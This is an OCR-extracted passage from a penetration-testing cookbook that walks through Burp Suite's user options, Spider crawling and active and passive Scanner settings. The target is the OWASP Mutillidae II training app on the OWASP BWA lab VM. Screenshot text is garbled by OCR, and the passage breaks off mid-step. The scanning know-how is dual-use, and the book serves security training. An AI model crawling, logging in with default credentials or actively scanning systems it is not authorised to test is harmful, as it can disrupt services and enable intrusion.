Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilties. ou can use the default Collaborator server provided by PortSwigger,
or deploy your own instance. You should read the full documentation for this feature and decide which option is most appropriate for you.

®E

(L) Use the default Collaborator server
@ Don't use Burp Collaborator

() Use a private Collaborator server:

Server location:

Polling location (opticnal):
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¢ Logging: It provides the ability to log all requests and responses or filter the
logging based on a particular tool. If selected, the user is prompted for a file
name and location to save the log file on the local machine:

2] Legging
LEJ These settings control logging of HTTP reguests and responses.
All tools: || Requestz= || Responses
Proxy: ] Requestz || Responses
Spider: | Requests || Responses
Scanner: | Requestz= || Responses
Intruder: Ll Regquests || Responses
Repeater: | Requests || Responses
Sequencer: | Requests || Responses
Extender: | Requests || Responses

Setting user options

User options allow a tester to save or set configurations specific to how they want Burp to
be configured upon startup. There are multiple sub-tabs available under the user options
tab, which include Connections, SSL, Display, and Misc. For recipes in this book, we will
not be using any user options. However, the information is reviewed here for completeness.

How to do it...

Using Burp user options, let's configure your Burp Ul in a manner best suited to your
penetration-testing needs. Each of the items under the Connections tab is already covered
in the Project options section of this chapter, hence, we will directly start with the SSL tab.
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The SSL tab

Under the SSL tab, a tester has the following options:

¢ Java SSL Options: It provides the ability the configure Java security libraries
used by Burp for SSL connections. The default values are most commonly used:

Java SSL Options

These settings can be used to enable certain S5L features that might be needed to successfulty connect to some servers.

® &

& Enable algorithms blocked by Java security policy (reguires restart)
|| Dizable Java SNl extension (requires restart)

e Client SSL Certificate: This section is already covered in the Project options
section of this chapter.

The Display tab

Under the Display tab, a tester has the following options:

e User Interface: It provides the ability to modify the default font and size of the
Burp Ul itself:

LiJ User Interface

IEJ These =ettings let vou coentrol the appearance of Burp's user interface.

Font size: L |

Look and feel: | Mimbus

L
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e HTTP Message Display: It provides the ability to modify the default font and
size used for all HTTP messages shown within the message editor:

EJ HTTP Message Display

I.EJ These settings let vou control how HTTP messages are displayed within the raw HTTP viewer/editor.

Font: Courier New llpt Change font ... |

[f] Highlight request parameters

[¥] Highlight response syntax

|| Analyze and dizplay AMF messages (use with caution}

e Character Sets: It provides the ability to change the character sets determined by
Burp to use a specific set or to display as raw bytes:

2| Character Sets

24| These settings control how Burp handles different character sets when displaying raw HTTP messages. Note that some glyphs are not supported by all fonts. If you need to use
L) : ;
an extended or unusual character set, you should first try a system font such as Courier New or Dialog.

@ Recognize ically based on headers

O Use the platform default (windows-1252)

() Display as raw bytes

() Use a specific character set: | Big5 .

e HTML Rendering: It controls how HTML pages will display from the Render
tab available on an HTTP response:

12 HTML Rendering
I.EJ These settings control how Burp handles in-tool rendering of HTML content.

Y] Allow renderer to make HTTP requests (for images, etc.)
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The Misc tab

Under the Misc tab, a tester has the following options:

¢ Hotkeys: It lets a user configure hotkeys for commonly-executed commands:

2 Hotkeys

O These settings let you configure hotkeys for common actions. These include tem-specific actions such as "Send to Repeater”, global actions such as "Switch to Proxy™, and
in-editor actions such as "Cut” and "Undo”.

Action | Hotkey |
Send to Repeater Ctrl+=R &
Send to Intruder Cirl+l

Forward intercepted Proxy message Ctrl+F

Toggle Proxy interception Ctrl+T g
Switch to Target Ctrl+Shift+T

Switch to Proxy Ctrl+Shift+P

Switch to Scanner Ctrl+Shift+5

Switeh ta Intrudar Cirl«Chifts] ]
)

¢ Automatic Project Backup [disk projects only]: It provides the ability to
determine how often backup copies of project files are made. By default, when
using Burp Professional, backups are set to occur every 30 minutes:

2] Automatic Project Backup [disk projects only]

Automatic project backup saves a copy of the Burp project file periodically in the background.

e Temporary Files Location: It provides the ability to change the location where
temporary files are stored while running Burp:

(2J Temporary Files Location
LEJ These settings let yvou configure where Burp stores its temporary files. Changes will take effect the next time Burp starts up.

# Use default system temp directory

) Use custom location: Choose folder ..
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e Proxy Interception: It provides the ability to always enable or always disable
proxy intercept upon initially starting Burp:

nterception

12 Proxy

LEJ This setting controls the state of proxy interception at startup.

Enable interception at startup: () Always enable
i® Always dizable

i) Restore setting from when Burp was last closed

¢ Proxy History Logging: It provides the ability to customize prompting of out-of-
scope items when the target scope changes:

(?2) Proxy History Logging
LEJ This setting controls whether adding tems to Target scope will automatically set the Proxy option to stop sending out-of-scope items to the history or other Burp tools.

When items are added to Target scope: () Stop sending out-of-scope tems to Proxy history and other Burp tools
@ Prompt for action
L) Do nothing

¢ Performance Feedback: It provides anonymous data to PortSwigger regarding
Burp performance:

@ Performance Feedback
@ *fou can help improve Burp by submitting anonymous feedback about Burp's performance.

(] Submit anonymous feedback about Burp's performance

Feedback only contains technical information about Burp's internal functioning, and does not identify you in any way. If you do report a bug via email, you can help us diagnose
any problems that your instance of Burp has encountered by including your debug ID.

Debug ID: | I54ySxodxrgmEdiaiSih:gh2 Copy

Report bug
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Spidering with Spider
Spidering is another term for mapping out or crawling a web application. This mapping

exercise is necessary to uncover links, folders, and files present within the target
application.

In addition to crawling, Burp Spider can also submit forms in an automated
fashion. Spidering should occur prior to scanning, since pentesters wish to identify all
possible paths and functionality prior to looking for vulnerabilities.

Burp provides an on-going spidering capability. This means that as a pentester discovers
new content, Spider will automatically run in the background looking for forms, files, and
folders to add to Target | Site map.

There are two tabs available in the Spider module of Burp Suite. The tabs include control
and options, which we will study in the Getting ready section of this recipe.

Getting ready

Using the OWASP Mutillidae II application found within the OWASP BWA VM, we will
configure and use Burp Spider to crawl through the application.

The Control tab

Under the Control tab, a tester has the following options:

e Spider Status: It provides the ability to turn the spidering functionality on or off
(paused). It also allows us to monitor queued-up Spider requests along with
bytes transferred, and so on. This section allows any forms queued to be cleared
by clicking the Clear queues button:

EJ Spider Status

Use these settings to moniter and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in the target site map, and choose
"Spider this host / branch™.

l Spider is paused } [ Clear queues

Reguests made: 0
Bytes transferred: 0

Regquests queued: 0

Forms gqueued: 1]
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e Spider Scope: It provides the ability to set the Spider Scope, either based on the
Target | Site map tab or a customized scope:

2| Spider Scope

@ i@ Use suite scope [defined in Target tab]

i) Use custom scope

If the Use custom scope radio button is clicked, two tables appear, allowing the
tester to define URLs to be included and excluded from scope:

.-\”

Spider Scope

() Use suite scope [defined in Target tab]

&) Use custom scope

]o

[ Use advanced scope control

l Add J Enabled | Prefix

Edit
Remove »>
Paste URL

l Load ... J
[ Add |  Enabled | Prefix
Edit

Remove [ 2
Paste URL

| Load.. |
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The Options tab

Under the Options tab, a tester has the following options:

e Crawler Settings: It provides the ability to regulate the number of links deep
Spider will follow; also identifies basic web content to Spider for on a website
such as the robots. txt file:

12 Crawler Settings
I.EJ These settings control the way the Spider crawls for basic web content.

] Check robots. b

] Detect custom "not found” responses
[ Ignore links to non-text content

[ Request the root of all directories

[¥] Make a non-parameterized request to each dynamic page

1

Maximum link depth:

Maximum parameterized reguests per URL: | 50

e Passive Spidering: Spiders newly-discovered content in the background and is
turned on by default:

?| Passive Spidering
O Passive spidering monitors traffic through Burp Proxy to update the site map without making any new reguests.

[ Passively spider as you browse

Link depth to az=ociate with Proxy requests: |0
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e Form Submission: It provides the ability to determine how Spider interacts with
forms. Several options are available including ignore, prompt for guidance,
submit with default values found in the table provided, or use an arbitrary value

(for example, 555-555-0199@example. com):

?
(]

Form Submission

These settings control whether and how the Spider submits HTML forms.

Individuate forms by: [Actiun URL, method and fields | ‘F]

i) Don't submit forms
i) Prompt for guidance

® Automatically submit using the following rules to assign text field values:

[ Add J Enabled | Matchtype | Field name | Field value |
] Regex tel 555.555-0198 |4
Edit ] Regex =sn 123 45 6729
—_ # Regex =ocial 123 45 6789
Remove = Regex age 30 L
— # Regex day 01
Up [ Regex month 01
S [ Regex vear 1830
[ Down J ] Regex passport 0123456729 Y

[ Set unmatched fields to: | 555-555-0198@example.com

[ terate all values of submit fields - max submissions per form: |10
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e Application Login: It provides the ability to determine how Spider interacts with
login forms. Several options are available, including ignore, prompt for guidance,
submit as standard form submission, or use credentials provided in text boxes:

12 Application Login

I.EJ These =ettings control how the Spider submits login forms.
i) Don't submit login forms
® Prompt for guidance

i) Handle as ordinary forms

i) Automaticaly submit these credentials:

Fass

e Spider Engine: It provides the ability to edit the number of threads used along
with retry attempt settings due to network failures. Use the number of threads
judiciously as too many thread requests could choke an application and affect its
performance:

12) Spider Engine

I.EJ These settings control the engine used for making HTTP requests when spidering.

Number of threads: 10
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000

|| Throttle between reguests (miliseconds):
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¢ Request Headers: It provides the ability to modify the way the HTTP requests
look originating from Burp Spider. For example, a tester can modify the user
agent to have Spider look like a mobile phone:

2| Reguest Headers

-

I.EJ These settings control the request headers uzed in HTTP requests made by the Spider.

Add Accept; ¥
Accept-Language: en
Edit User-Agent: Mozilla/5.0 (compatible; MSIE 9.0, Windows NT 8.1, Wing4, x84, Trident/5.0)

Connection: close
Remove >

Up

Dowen

(I

[f] Use HTTP version 1.1
[f] Use Referer header

How to do it...

1. Ensure Burp and OWASP BWA VM are running, and Burp is configured in the
Firefox browser used to view the OWASP BWA applications.
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2. From the OWASP BWA landing page, click the link to the OWASP Mutillidae II
application:

owaspbwa

OWASP Broken Web Applications Project

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwal/tickets/?limit=999&sort=_severity+asc.

3 !!! This VM has many serious security issues. We strongly recommend that you run it only
-s , o . : . .
— on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

) OWASP WebGoat © OWASP WebGoatNET
€2 OWASP ESAPI Java SwingSet Interactive @ OWASP Mutillidae II
) OWASP RailsGoat ) OWASP Bricks

€ OWASP Security Shepherd ©OGhost

@Magical Code Injection Rainbow @bWAPP

@Damn Vulnerable Web Application
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3. Go to the Burp Spider tab, then go to the Options sub-tab, scroll down to the
Application Login section. Select the Automatically submit these credentials
radio button. Type into the username textbox the word admin; type into the
password textbox the word admin:

Target I Proxy I Spider I Scanner I Intruder [ Repeater

opons

@ Application Login

O These zettings control how the Spider submits login form

i) Dont submit login forms
() Prompt for guidance
() Handle as ordinary forms

{® Automatically submit these credentials:

Username: | admin

Password: | ==

4. Return to Target | Site map and ensure the mutillidae folder is added to scope
by right-clicking the muti11idae folder and selecting Add to scope:

_[ Target I Proxy T Spider T Scanner T Intruder T Repeate

Site map | Scope

Fitter: Hiding out of scope and not found items; hiding CS5, ima

¥ http:/1192 168.55 101

[0 mutilidas

I mutilidae

RN

» [0 documentation
framer_html
includes
index.php
javascript
set-up-database php
webservices

L B
_'I_ul_.ﬁi‘_'l_u]

L
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5. Optionally, you can clean up the Site map to only show in-scope items by
ChddngFilter: Hiding out of scope and not found items; hiding
CSS, image and general binary content; hiding 4xx responses;

hiding empty folders:

Fitter: Hiding out of scope and not found items; hiding CS5, image and general kinary content; hiding 4xx respoenses; hiding empty folders

6. After clicking Filter: ...., You will see a drop-down menu appear. In this
drop-down menu, check the Show only in-scope items box. Now, click
anywhere in Burp outside of the drop-down menu to have the filter disappear
again:

Fiter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

EJ Fiter by request type ) Fiter by MIME type ) Fiter by status code Folders
@ EZ} Show only in-scope items | @ HTML [ Other text [ 2xx [success] ) Hide empty folders
[J Show only requested items & Script [J Images [ 3xx [redirection]
[J Show only parameterized requests & XML [ Flash [J 4xx [request error]
[ Hide not-found items O css (J Other binary [ Sxx [server error]
Fiter by search term Filter by file extension Fiter by annotation
LJ show only: | asp,aspxsp.php [J Show only commented items
[J Regex O . .
= T I Show only highlighted items
. . Hide: if.ipg, ,
[J Case sensitive [_] Megative search SERCE [=,9%Ipg.png,css
l Show all J t Hide all J t Revert changes J

7. You should now have a clean Site map. Right-click the mutillidae folder and
select Spider this branch.
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If prompted to allow out-of-scope items, click Yes.

_[ Target T Proxy T Spider I Scanner T Intruder T Repeater T

Site map | Scope

‘ Filtter: Hiding out of scope and not found items; hiding CSS, image

¥ [ hitpi182.168.56.101
[0 mutilidae 1

[ mutilig——
@, | [0 hittp:192.168.56.101/mutillidae

» [0 do Remove from scope
Spider this branch
Actively scan thizs branch
ja Passively =can this branch

58 Engagement tools >

yYvyv
NORERD

v

Compare site maps

8. You should immediately see the Spider tab turn orange:

_[Targeﬂ Proxy I Spider T

9. Go to the Spider | Control tab to see the number of requests, bytes transferred,
and forms in queue:

[ Target T Proxy TSplde: T Scanner T Intruder T Repeater
Control | Options

@ Spider Status

Use these settings to moniter and control Burp Spider. To

[ Spider is running ] Clear queues

Regquests made: &1
Bytes transferred: 1,793,761

Reguests queued: 0

Forms queued: 0
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Let Spider finish running.

10. Notice that Spider logged into the application using the credentials you provided
in the Options tab. On Target | Site map, look for
the /mutillidae/index.php/ folder structure:

J Target I Proxy T Spider T Scanner T Intruder I

I Site map | Scope

| Filter: Hiding not found items; hiding CSS, image and genera

¥ | @ hitp:/M182.168.558.101
[ mutilidae
¥ [Tg mutilidae
» &
» [ documentation
D framer.html
» [ includes

1 Vf& index.php ||

11. Search for an envelope icon that contains password=admin&login-php—
submit-button=Login&username=admin:

page=robots-txt.php
page=secret-administrative-pages.php Regquest | Response
page=set-background-color.php
page=show-log.php Raw | Params | Headers | Hex
page=show-log.php&deleteLogs=deleteLogs&popUpNotificationCode=LFD1
page=site-footer-xss-discussion.php

page=source-viewer.php Accept-Encoding: gzip, deflate

page=sgimap-targets.php Accept: */*

page=sskmisconfiguration.php Accept-Language: en

page=styling-frame.php&page-to-frame=styling.php%3Fpage-title%3DStyling +with=Mut Usgr—kgen: : Mozilla/5.0 (compatible; MSIE 9.0, Windows NT €.1; Winé4, x€4;
page=text-file-viewer.php Trident/5.0)

Connection: close
page=upload-file.php Referer: http://192.168.56.101/mutillidae/index. php?page=login.php
page=usage-instructions.php Content-Type: application/x-www-form-urlencoded

POST /mutillidae/index.php?page=login.php HTTP/L.1
Host: 192_1€8.56.101

page=user-agent-impersonation.php Content-Length: 59
page=user-info-xpath.php Cockie: showhints=l; acopendivids=swingset,jotto,phpbbl,reduine;
page=user-info.php acgroupswithpersist=nada; PHPSESSID=upgffun’orrmvohdnfdbeSg3ll

password=adming&login-php-submit-button=Loginfusername=admin I

114e93a98f1eba

assword=admin&login-php-submit-button=Login&username=admin

This evidences the information Spider used the information you provided in the Spider |
Options | Application Login section.
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Scanning with Scanner

Scanner capabilities are only available in Burp Professional edition.

Burp Scanner is a tool that automates the search for weaknesses within the runtime version
of an application. Scanner attempts to find security vulnerabilities based on the behavior of
the application.

Scanner will identify indicators that may lead to the identification of a security
vulnerability. Burp Scanner is extremely reliable, however, it is the responsibility of the
pentester to validate any findings prior to reporting.

There are two scanning modes available in Burp Scanner:

¢ Passive scanner: Analyzes traffic passing through the proxy listener. This is why
its so important to properly configure your target scope so that you aren't
scanning more than is necessary.

¢ Active scanner: Sends numerous requests that are tweaked from their original
form. These request modifications are designed to trigger behavior that may
indicate the presence of vulnerabilities (https://portswigger.net/kb/issues).
Active scanner is focused on input-based bugs that may be present on the client
and server side of the application.

Scanning tasks should occur after spidering is complete. Previously, we learned how Spider
continues to crawl as new content is discovered. Similarly, passive scanning continues to
identify vulnerabilities as the application is crawled.
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Under the Options tab, a tester has the following options: Issue activity, Scan queue, Live
scanning, Issue definitions, and Options:

e Issue Activity: It displays all scanner findings in a tabular format; includes both
passive and active scanner issues.:

Target | Proxy | Spider ISWI ntruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

Issue activity ll Scan queue I Live scanning I Issue defintions. T Options. 1

ry | Action Issue type | Host | Path Insertion point Severty '
] 14:50:04 28 Aug 2018 Issue found 1| Frameable response (potential Clickjacking) hitp:#/192.168.56.101 Imutilidae/ Information |4
9 14:50:04 28 Aug 2018 Issue found Cookie without HttpOnly flag set http://1192.168.56.101 Imutilidae/ Low
10 14:50:04 28 Aug 2018 Issue found Path-relative style sheet import hitp://192.168.56.101 Imutilidae/ Information
n 14:50:04 28 Aug 2018 Issue found i HTML does not specify charset hitp://192.168.56.101 Imutilidae/ Information
12 15:17:37 28 Aug 2018 Issue found 1 Frameable response (potential Chickjacking) hitp:/1192.168.56.101 Imutilidae/index php Information
13 15:17:37 28 Aug 2018 Issue found @ Cleartext submission of password hitp.//192.168.56.101 Imutilidae/index. php High 1
14 15:17:37 28 Aug 2018 Issue found Password field with autocomplete enabled hitp://192.168.56.101 Imutilidae/index php Low '
15 15:17:37 28 Aug 2018 Issue found Path-relative style sheet import hitp:/1192.168.56.101 Jmutilidaefindex. php Information 1
16 15:17:37 28 Aug 2018 Issue found 1 Cross-domain Referer leakage hitp:/1192.168.56.101 Imutilidae/index php Information F"

By selecting an issue in the table, the message details are displayed, including an
advisory specific to the finding as well as message-editor details related to the
request and response:

Target | Proxy | spiser | Scanner | wtruger | Repeater | sequencer | Decoser | comparer | Extender | Project options | user options | awns |
_[(sue actiey | scan queue | e scanning | ssue defitons | optons |

i it = i SR it -
8 14500428Aug2018 lssue found | Frameable response (potential Cckjacking) hitp:i/192.168.56.101 Imutiidae) nformation |

| Advsary. | Reauest | Response |

1 Fr ponse (potential Clickjacking)

issue Frameable response (potential Clickjacking)
Severiy. Information
Confidence:  Firm

Host hitp:i/192.168.56.101
Path Imutillidae’
Issue description

If a page fais to set an appropriste X-Frame-Options or Content-Security-Policy HTTP header, &t might be possible for a page controlled by an attacker to load & wihin an iframe. This may enable a clickjacking attack, in which the attacker's page overiays
the target appication's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application
that is being targeted. This technigue alows the attacker to circumvent defenses against cross-sie request forgery, and may result in unauthorized actions.

Note that some appications atiempt to prevent these attacks from within the HTML page Eself, using “framebusting” code. How ever, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.

You should determine whether any functions accessible within frameable pages can be used by spplication users 1o perform any sensiive actions within the appication.

Issue remediation

To effectively prevent framing sftacks, the appication should retum a response header with the nams X-Frame-Options and the valu DENY to prevent framing afogather, or the value SAMEORIGIN to allow framing only by pages on the same origin
as the response Eseif. Note that the SAMEORIGH header can be partialy bypassed if the apphcation iself can be made fo frame untrusted websdes.
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¢ Scan queue: Displays the status of active scanner running; provides a percentage
of completion per number of threads running as well as number of requests sent,
insertion points tested, start time, end time, targeted host, and URL attacked.

Scanner can be paused from the table by right-clicking and selecting Pause
scanner; likewise, scanner can be resumed by right-clicking and selecting Resume
Scanner. Items waiting in the scan queue can be cancelled as well:

— =
| raro=t [ Praxy | spiter |l Scannecll minuder ] Repeater ] Sequencer | Decoder | Comparer T Extender T Project options Iuw options ] Alerts

ih.sue activty [ Scan queue [l Live scanning ] Issus defintions: ]Dpﬁml |

# A | Host URL Status Issues Requests Errors. Insertion points Start time End time
1 hitp://192.168.56.101 imutiidael 0% complete 15 4 03:43:57 29 Aug 2018
2 htp//192.168.56.101 Imytibdae/ 0% compiete 15 9 03:43:57 29 Aug 2018
3 hitp://192.168.56.101 Imutibdae/ 0% complete 18 9 03:43:57 29 Aug 2018
4 hitp:/192.168.56.101 I -0N-XAM 0% complete 13 8 03:43:57 20 Aug 2018
5 8 03:43:57 29 Aug 2018
[ 9 03:43:57 29 Aug 2018
7 1
1

hitp /192 168.56.101 fmutilidaesframer himi 11% complete %
hitp://192.168.56.101 Il p-help-context atorphp 0% complete 2
hitp://192.168.56.101 I -up-help-c storphp 0% complete 12
hitp/192.168.56.101 i help generator php 0% complete 13

¢ Live Active Scanning: It allows customization when active scanner will perform
scanning activities:

03:43:57 29 Aug 2018
03:43:57 29 Aug 2018

o

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options. T User options. T Alerts ]

[ Izzue activity T Scan gueue T Live scanning T Izsue definitions T Options ]

2| Live Active Scanning
O Automatically scan the following targets as you browse. Active scan checks send various malicious requests designed to identify common vulnerabilties. Use with caution.

@ Don'tscan
() Use suite scope [defined in Target tab]

(L) Use custom scope

e Live Passive Scanning;: It allows customization when passive scanner will
perform scanning activities. By default, passive scanner is always on and
scanning everything:

@ Live Passive Scanning
@‘ Automatically scan the following targets as you browse. Passive scan checks analyze your existing traffic for evidence of vulnerabilties, and do not send any new reguests to the target.
(U Don'tscan
@ Scan everything
(U Use suite scope [defined in Target tab]
O Use custom scope
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e Issue definitions: It displays definitions for all vulnerabilities known to Burp
scanners (active and passive). The list can be expanded through extenders but,
using Burp core, this is the exhaustive listing, which includes title, description
text, remediation verbiage, references, and severity level:

[ Target | Proxy | spider | Scanner | intruer | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts |

[ Issue activity l Scan queue I Live scanning ] Issue definiions | Options

Issue Definitions

This listing contains the definitions of allissues that can be detected by Burp Scanner.

Name 4| Typicalseverty | Type index
ASP.NET ViewState without MAC enabled Low 0x00400600 A
ASP.NET debugging enabled Wedium 0x00100800 I
ASP.NET tracing enabled High 0x00100280
Ajax request header manipulation (DOM-based) Low 0x00500c00
Ajax request header manipulation (reflected DOM-based) Low 0x00500c01
Ajax request header manipulation (stored DOM-based) Low 0x00500c02
BaseB4-encoded data in parameter Information 0x00700200
Browser cross-sie scripting fiter disabled Information 0x005009b0
€SS injection (reflected) Medium 0x00501300
CSS injection (stored) Medium 0x00501301
Cacheable HTTPS response Information 0x00700100 )
Cleartext submission of password High 0x00300100
Client-side HTTP parameter pollution (reflected) Low 0x00501400
Client-side HTTP parameter pollution (stored) Low 0x00501401
Client-side JSON injection (DOM-based) Low 0x00200370
Client-side JSON injection (reflected DOM-based) Low 0x00200371
Client-side JSON injection (stored DOM-based) Low 0x00200372
Client-side SQL injection (DOM-based) High 0x00200330
Client-side SQL injection (reflected DOM-based) High 0x00200331
Client-side SQL injection (stored DOM-based) High 0x00200332
Client-side XPath injection (DOM-based) Low 0x00200360
Client-side XPath injection (reflected DOM-based) Low 0x00200361
Client-side XPath injection (stored DOM-based) Low 0x00200362
Client-side template injection High 0x00200308
Content type incorrectly stated Low 0x00800400
Content type is not specified Information 0x00800500
Cookie manipulation (DOM-based) Low 0x00500600
Cookie manipulation (reflected DOM-based) Low 0x00500601

ASP.NET ViewState without MAC enabled

Description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across
successive requests. The data to be persisted is serialized by the server and transmitted via a hidden form field. When it is posted
back to the server, the ViewState parameter is deserialized and the data is retrieved.

By defaul, the seriaized value is signed by the server to prevent tampering by the user; however, this behavior can be disabled
by setting the Page EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the
ViewState and cause arbitrary data to be deseriaiized and processed by the server. If the ViewState contains any items that are
critical to the server's processing of the request, then this may result in a security exposure.

The contents of the deserialized ViewState should be reviewed to determine whether it contains any critical tems that can be
manipulated to attack the appication

Remediation

There is no good reason to disable the defaut ASP.NET behavior in which the ViewState is signed to prevent tampering. To
ensure that this occurs, you should set the Page EnableView Statelac property to true on any pages where the ViewState is not
currently signed

Vulnerability classifications

@ CWE-642. External Control of Critical State Data

Typical severity

Low

¢ Options: Several sections are available, including Attack Insertion Points,
Active Scanning Engine, Attack Scanning Optimization, and Static code

analysis.

o Attack Insertion Points: It allows customization for Burp insertion
points; an insertion point is a placeholder for payloads within
different locations of a request. This is similar to the Intruder
payload marker concept discussed in chapter 2, Getting to Know
the Burp Suite of Tools:
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[ Target T Proxy I Spider TSWW ] Intruder T Repeater TSaauent:er T Decoder T Comparer TExlender I Project options T User options IAIerIs 1

[ Issue activity I Scan queue ] Live i T Issue definiti IOpbom ]

@
@

Attack Insertion Points

Place attacks inte the following locations within requests:

[ URL parameter values

[ Body parameter values

& Cookie parameter values

Y] Parameter name

@ HTTP headers

(@ Entire body (for relevant content types)
L) AMF string parameters (use with caution)
[ URL path filename

[ URL path folders

Change parameter locations (causes many more scan requests):

J URLtobody [J URL to cookie
[ Body to URL [J Body to cookie
[ Cookie to URL [J Cookie to body

Nested insertion points are used when an insertion point's base value contains data in a recognized format (for example, XML data within a URL parameter):

[ Use nested insertion points

—

Maximum insertion points per base request: 30

Skip server-side injection tests for these parameters:

[ Add J Enabled | Parameter | tem | Match type | Expression [
4] Cookie Name Matches regex aspsessionid.® Ll\
Edit & Cookie Name s asp.net_sessionid
[€4) Body parameter Name Is __eventtarget
Remove (4] Body parameter Name Is __eventargument >
o Body parameter  MName Is _ viewstate
& Body parameter  Name Is __eventvalidation
& Any parameter Name Is jsessionid 3
Skip all tests for these parameters:
[ Add J Enabled Parameter | tem | Match type | Expression
Edit
Remove >
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Recommendations here include adding the URL-to-body, Body-to-URL,
cookie-to-URL, URL-to-cookie, body-to-cookie, and cookie-to-body
insertion points when performing an assessment. This allows Burp to
fuzz almost, if not all, available parameters in any given request.

e Active Scanning Engine: It provides the ability to configure the
number of threads (for example, Concurrent request limit)
scanner will run against the target application. This thread count,
compounded with the permutations of insertion points, can create
noise on the network and a possible DOS attack, depending upon
the stability of the target application. Use caution and consider
lowering the Concurrent request limit. The throttling of threads is
available at this configuration section as well:

LE,' These settings control the engine used for making HTTP requests when doing active scanning.

Concurrent reqguest limit: 10

Number of retries on network failure: 3
Pause before retry (miliseconds): 2000

) Throttle between requests (miliseconds):

E] Follow redirections where necessary

e Attack Scanning Optimization: It provides three settings for scan
speed and scan accuracy.
¢ Available Scan speed settings include Normal, Fast,

and Thorough. Fast makes fewer requests and
checks derivations of issues. Thorough makes more
requests and checks for derivations of issues.
Normal is the medium setting between the other
two choices. The recommendation for Scan
speed is Thorough.
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e Available Scan accuracy settings include Normal,
Minimize false negatives, and Minimize false
positives. Scan accuracy relates to the amount of
evidence scanner requires before reporting an issue.
The recommendation for Scan accuracy is Normal:

(2) Active Scanning Optimization
@J These settings let you contrel the behavior of the active scanning logic to reflect the objectives of the scan and the nature of the target application. See the

Scan speed: | Normal

L«

Scan accuracy: | Normal

L«

& Use inteliigent attack selection

e Static Code Analysis: It provides the ability to perform static

analysis of binary code. By default, this check is performed in
active scanner:

Sta Analysi

@&

These seftings control the types of scanning that will include static analysis of executable code. Note that static analysis can consume large amounts of memory and processing, and so it may be desirable to restrict static analysis o key targets
of interest

@ Active scanning only
O Active and passive scanning

O Don't perform static code analysis

Maximum analysis time per ftem (seconds): | 120

e Scan Issues: It provides the ability to set which vulnerabilities are tested and for

which scanner (that is, passive or active). By default, all vulnerability checks are
enabled:
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Scan Issues

These settings control which issues Burp will check for. You can select issues by scan type or individually. If you select individual issues, you can also select the detection methods that are used for some types of issues.

OIS

@ Select by scan type:
@ Passive
[ Light active
& Wedium active
@ Intrusive active
@ Static code analysis

O Select individual issues:

 Fiter  Passive Light WMedium Intrusive Static B | search.

Enabled | Name | Passive | Light | Medium Intrusive | Static Typical seve... | Type index | Detection methods |
Unidentified code injection (] High 0x00101000 £
Server-side template injection L] High 0x00101080
SSl injection L High 0x00101100 All methods enabled
Cross-site scripting (stored) (] High 0x00200100 All methods enabled
HTTP response header injection L] High 0x00200200
Cross-site scripting (reflected) L] High 0x00200300 All methods enabled
Client-side template injection L] High 0x00200308 >
Cross-site scripting (DOM-based) . . High 0x00200310
Cross-site scripting (reflected DOM... L4 L4 High 0x00200311
Cross-site scripting (stored DOM-b... L] L] High 0x00200312
JavaScript injection (DOM-based) L4 L4 High 0x00200320
JavaScript injection (reflected DOM-.. . ® High 0x00200321
JavaScript injection (stored DOM-ba... . ° High 0x00200322
Path-relative style sheet import L Information 0x002003268
Client-side SQL injection (DOM-bas. . L] ] High 0x00200330
Client-side SQL injection (reflected . L] L High 0x00200331
Client-side SQL iniection (stored DO... L] L] High 0x00200332 15

Getting ready

Using the OWASP Mutillidae II application found within the OWASP BWA VM, we will
begin our scanning process and monitor our progress using the Scan queue tab.

How to do it...

Ensure Burp and OWASP BWA VM is running while Burp is configured in the Firefox
browser used to view the OWASP BWA applications.
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From the OWASP BWA landing page, click the link to the OWASP Mutillidae II

application:

1. From the Target | Site map tab, right-click the mutillidae folder and select
Passively scan this branch. The passive scanner will hunt for vulnerabilities,
which will appear in the Issues window:

_[ TargetT Proxy I Spider T Scanner I Intruder ]’ Repeater ]’

_[ Site map T Scope ]

Fitter: Hiding cut of scope and not found items; hiding CSS, image and

[ mutilidae

¥ | @ hitp:/152.168.56.101

["@ mutilidae

> i/

» [ documen
&; framer.h

» [ g includes

» i index.ph

> & level1-h

&;. set-up-d
» [ @ webseny

[ @ http:/1192.168.56.101/mutillidae
Remove from scope

Spider this branch
Actively =can this branch

Engagement tools
Compare site maps
Expand branch

» [ & javascrif Pazsively scan thiz branch

>
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2. From the Target | Site map tab, right-click the mutillidae folder and select
Actively scan this branch:

j Target T Proxy T Spider I Scanner T Intruder I Repeater I

 [[Stermap | seope |

Fiter: Hiding out of scope and not found items; hiding CS5, image and

¥ @ hitpi/M52.168.56.101

[1 mutilidae
| @ mutilidae
Y | @ http:1192.168.56.101/mutillidae
> [ docum Remove from scope
Dg framer.
> r—. include: Spider this branch
> ﬁi index.p Actively scan this branch
» [ 5 javascr Passively scan this branch
> b level-1 Engagement tools >
[ set-u
> r—' webse Compare site maps
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3. Upon initiating the active scanner, a pop-up dialog box appears prompting for
removal of duplicate items, items without parameters, items with media
response, or items of certain file types. This pop-up is the Active scanning
wizard. For this recipe, use the default settings and click Next:

@

- O

You have selected 104 tems for active scanning. Before continuing, you can use the fiters below to remove certain categories of
items, to make your scanning more targeted and efficient.

[ Remove duplicate items (same URL and parameters) [62 items]

[J Remove items with no parameters [17 tems]
[ Remove items with media responses [0+ items]

Ll Remove items with the following extensions [6 tems]

is,gifjpg,png, css

Note: Some of the selected items do not yet have responses. If you choose to remove items with media responses, some of these
items may be removed from the scan when their responses have been analyzed.

Cancel Next |

4. Verify all paths shown are desired for scanning. Any undesired file types or
